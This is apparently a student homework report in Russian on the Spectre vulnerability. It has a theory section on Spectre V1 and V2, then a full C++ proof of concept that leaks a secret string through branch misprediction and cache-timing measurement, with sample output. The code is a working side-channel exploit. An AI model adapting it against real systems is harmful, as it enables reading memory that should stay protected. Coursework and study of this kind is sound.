САНКТ-ПЕТЕРБУРГСКИЙ НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина: Архитектура ЭВМ

Отчет

по домашней работе №6

**«Spectre»**

Выполнил: Дмитриев Николай Николаевич

Номер ИСУ: 334884

студ. гр. M3138

Санкт-Петербург

2022

**Цель работы:** знакомство с аппаратной уязвимостью Spectre.

**Инструментарий и требования к работе:** C/C++.

**Теоретическая часть**

**Spectre**

Spectre – класс аппаратных уязвимостей, которые затрагивают современные процессоры, выполняющие предсказывание ветвлений и другие формы спекуляций, позволяющих проводить чтение данных через сторонний канал. Затрагивает большинство современных процессоров, в частности x86/x85-64 и некоторые процессорные ядра ARM.

Уязвимость потенциально позволяет получить доступ к содержимому виртуальной памяти текущего приложения или других программ.

Были выпущены два общих идентификатора уязвимостей, связанных со Spectre:

1. CVE-2017-5753 (Spectre-V1, Spectre 1.0) – обход проверки границ;
2. CVE-2017-5715 (Spectre-V2) – внедрение целевой ветви.

В официальном документе Spectre описан целый класс аппаратных уязвимостей. Все они основаны на использовании побочных эффектов спекулятивного исполнения. В частности, Spectre сосредоточен на прогнозировании ветвлений. В отличие от связанной с ней уязвимости Meltdown, Spectre «обманывает» блоки предсказания, когда как Meltdown пользуется задержкой в обработке исключения.

В то время, как на архитектурном уровне, задокументированном в справочниках по процессорам любые результаты неправильного предсказания должны быть отброшены, результирующее спекулятивное исполнение может оставить артефакты, например, загруженные линии в кэше.

В документе атака представлена в виде четырех основных этапов:

1. Логику прогнозирования можно «обучить» надежному попаданию или промаху на основе внутренней работы вредоносной программы.
2. Можно легко определить по времени попадание в кэш или промах. Для этого нужен высокоточный таймер, например, подсчет тактов процессора.
3. Можно искать в коде места, где спекулятивное выполнение затрагивает недоступные данные, манипулировать процессом в состояние, спекулятивное выполнение которого должно контактировать с этими данными.
4. Обобщение атаки на любое нефункциональное состояние процесса – жертвы. Рассматриваются весьма неочевидные нефункциональные элементы, как задержка арбитража шины.

Хотя Spectre проще использовать локально (компилируемыми языками, такими как C/C++), его также можно использовать удаленно с помощью, например, интерпретируемых языков (например JavaScript), которые запускаются локально с помощью веб-браузера.

Отсутствие использования очистки кэша (clflush) в JavaScript требует альтернативного подхода. То есть нужно «вытеснить» кэш и атака зависит от возможности управлять этим процессом. Было обнаружено, что использование второго индекса в большом массиве, который хранится на несколько итераций позади первого индекса, приведет к использованию политики «наименее недавно использованного». Это позволяет эксплойту эффективно очищать кэш, просто выполняя инкрементное чтение большого набора данных.

В настоящее время не существует готовых программных технологий защиты от атаки Spectre, хотя ведется определенная работа. Так как данная уязвимость представляет собой целый класс, то единого патча не может быть. Также сообщается, что «он будет преследовать нас еще долгое время» и «не было зарегистрировано ни одного реального использования этих уязвимостей». Производителями процессоров предложено несколько вариантов исправления, некоторые из которых требуют обновлений микрокода процессора, другие – добавления новых инструкций в будущие процессоры. В марте 2018 Intel сообщила, что они разработали аппаратные исправления только для Meltdown и Spectre-V2. Уязвимости были устранены с помощью новой системы секционирования, улучшающей разделение процессоров и уровней привилегий.

**Описание работы написанного кода**

Программа эксплуатирует следующую функцию:

char func(unsigned long long x) {  
 if (x < array1\_size) {  
 return array2[array1[x] \* cache\_line];  
 }  
 return '\0';  
}

и читает секретную строчку data. array1 – массив, размера array1\_size выходя за границы которого мы будем и читать секретные данные, array2 – массив для определения того, какой символ был записан в кэш, cache\_line. – нужен для того, чтобы два символа не могли попасть в одну кэш линию (достаточно значения 2048).

1. Программе передаются 2 аргумента – секретная строка и название выходного файла. Обрабатываем переданные аргументы и запоминаем секретную строку в char \*data.
2. Сначала узнаем сдвиг секретных данных от array1, то есть посчитаем разницу между адресами указателей на эти массивы в переменную position. Затем будем передавать эту переменную в функцию attack инкрементируя до тех пор, пока не получим нулевой символ (указатель на конец строки).
3. Функция attack напрямую обращается к func и «обманывает» ее: 1000 раз отправляя запрос 0 (которое очевидно 1000 раз пройдет проверку на выход из границ массива array1), после чего удаляет из кэша все данные array1, array2 и array1\_size. И затем отправляет запрос address (позиция секретных данных относительно массива array1). Программа предскажет с очень высокой вероятностью, что x < array1\_size и соответственно посчитает результат array2[array1[x] \* cache\_line] и запишет в кэш пока ожидает получить данные array1\_size (мы целенаправленно удалили ее с кэша). После этого функция немедленно проверяет какой символ оказался в кэше перебирая все значения от 0 до 255: array2[i \* cache\_line]. Для этого мы считаем в тактах время обращения к данным. Для определения что полученное время это не промах, мы в самом начале программы считаем среднее время обращения к кэшу и домножаем ее на 1,4 (данный коэффициент оказался наиболее оптимальным по времени подбора и ошибок выявления). Так как вероятно, что программа не предскажет истинность условие в функции func, то обернем весь описанный выше процесс в бесконечный цикл и остановим только в случае получения искомого символа.
4. Так как программа может «ломать» код оптимизируя ее, то подставим барьеры синхронизации при подсчетах количества тактов и объявим все обращения volatile.
5. Вывод следующий: сначала выводится полученное значение «потолка» для обращения к кэшу. Затем для каждого полученного символа выводится количество попыток для его получения и время тактов обращения к нему (это легко выявляет ошибки). И в конце выводится сама полученная строка.

**Пример работы программы**

Исходная строка – «4kb,//.,tn2490b». Результат работы программы с ключом компиляции -O0:

Ceil of access time for cache hit: 86

Character: 4, attemps: 1, time: 67

Character: k, attemps: 1, time: 69

Character: b, attemps: 1, time: 67

Character: ,, attemps: 1, time: 68

Character: /, attemps: 1, time: 65

Character: /, attemps: 1, time: 67

Character: ., attemps: 1, time: 69

Character: ,, attemps: 1, time: 67

Character: t, attemps: 1, time: 69

Character: n, attemps: 1, time: 67

Character: 2, attemps: 1, time: 67

Character: 4, attemps: 1, time: 71

Character: 9, attemps: 1, time: 67

Character: 0, attemps: 1, time: 67

Character: b, attemps: 1, time: 67

Character: , attemps: 1, time: 63

Final result:

4kb,//.,tn2490b

Результат работы программы с ключом компиляции -O3:

Ceil of access time for cache hit: 86

Character: 4, attemps: 12336, time: 67

Character: k, attemps: 348, time: 67

Character: b, attemps: 280, time: 71

Character: ,, attemps: 51501, time: 67

Character: /, attemps: 23454, time: 65

Character: /, attemps: 16620, time: 63

Character: ., attemps: 1340, time: 69

Character: ,, attemps: 9900, time: 69

Character: t, attemps: 336, time: 65

Character: n, attemps: 41, time: 64

Character: 2, attemps: 328, time: 67

Character: 4, attemps: 23, time: 67

Character: 9, attemps: 1455, time: 65

Character: 0, attemps: 155, time: 70

Character: b, attemps: 854, time: 69

Character: , attemps: 29932, time: 64

Final result:

4kb,//.,tn2490b

Заметно, что при глубокой оптимизации время работы программы ухудшается, так как программа переставляет некоторые команды, что сильно влияет на получаемое время тактов.

**Листинг**

Язык программирования – C++

hw6.cpp

#include <stdio.h>  
#include <stdlib.h>  
#include <stdint.h>  
#include <string.h>  
#include <string>  
#ifdef \_MSC\_VER  
#include <intrin.h>  
#else  
#include <x86intrin.h>  
#endif  
  
const long cache\_line = 2048;  
const long N = 10;  
  
FILE \*out;  
  
char \*array1;  
char \*array2;  
size\_t array1\_size = N;  
  
unsigned long long ceil\_access\_time;  
  
void calc\_average\_time() {  
 volatile char first = array2[0];  
 volatile unsigned long long sum = 0;  
 for (volatile size\_t i = 0; i < 10000; i++) {  
 \_\_sync\_synchronize();  
 volatile unsigned long long start\_time = \_\_rdtsc();  
 \_\_sync\_synchronize();  
 volatile char byte = array2[0];  
 \_\_sync\_synchronize();  
 volatile unsigned long long cur\_access\_time = \_\_rdtsc() - start\_time;  
 \_\_sync\_synchronize();  
 sum += cur\_access\_time;  
 }  
 ceil\_access\_time = 14 \* sum / 100000;  
}  
  
char func(unsigned long long x) {  
 if (x < array1\_size) {  
 return array2[array1[x] \* cache\_line];  
 }  
 return '\0';  
}  
  
char attack(unsigned long long address){  
 long attemps = 0;  
 while (true) {  
 attemps++;  
 for (volatile size\_t i = 0; i < 1000; i++) {  
 volatile char byte = func(0);  
 }  
  
 \_mm\_clflush(&array1\_size);  
 for (volatile size\_t i = 0; i < N; i++) {  
 \_mm\_clflush(array1 + i);  
 }  
 for (volatile size\_t i = 0; i < 256; i++) {  
 \_mm\_clflush(array2 + i \* cache\_line);  
 }  
  
 volatile char pre = func(address);  
  
 for (volatile size\_t i = 0; i < 256; i++) {  
 volatile unsigned long long x = cache\_line \* i;  
 \_\_sync\_synchronize();  
 volatile unsigned long long start\_time = \_\_rdtsc();  
 \_\_sync\_synchronize();  
 volatile char byte = array2[x];  
 \_\_sync\_synchronize();  
 volatile unsigned long long cur\_access\_time = \_\_rdtsc() - start\_time;  
 \_\_sync\_synchronize();  
 if (cur\_access\_time <= ceil\_access\_time) {  
 fprintf(out, "Character: %c, attemps: %d, time: %llu\n", char(i), attemps, cur\_access\_time);  
 return char(i);  
 }  
 }  
 }  
}  
  
int main(int argc, char\* argv[]) {  
 if (argc != 3) {  
 printf("Please, enter 2 arguments: data (string) and name of output file.\n");  
 return -1;  
 }  
 out = fopen(argv[2], "w");  
 if (out == NULL) {  
 printf("File %s cannot be open.\n", argv[2]);  
 return -1;  
 }  
  
 array1 = (char \*)malloc(N \* sizeof(char));  
 array2 = (char \*)malloc(cache\_line \* 256 \* sizeof(char));  
 memset(array1, 0, N \* sizeof(char));  
 memset(array2, 0, cache\_line \* 256 \* sizeof(char));  
 calc\_average\_time();  
 fprintf(out, "Ceil of access time for cache hit: %d\n", ceil\_access\_time);  
  
 char \*data = argv[1];  
 std::string read;  
 unsigned long long position = (unsigned long long)data - (unsigned long long)array1;  
 while (true) {  
 read += attack(position);  
 if (read[read.size() - 1] == '\0') {  
 break;  
 } else {  
 position++;  
 }  
 }  
 fprintf(out, "\nFinal result:\n%s\n", read.c\_str());  
 free(array1);  
 free(array2);  
 fclose(out);  
 return 0;  
}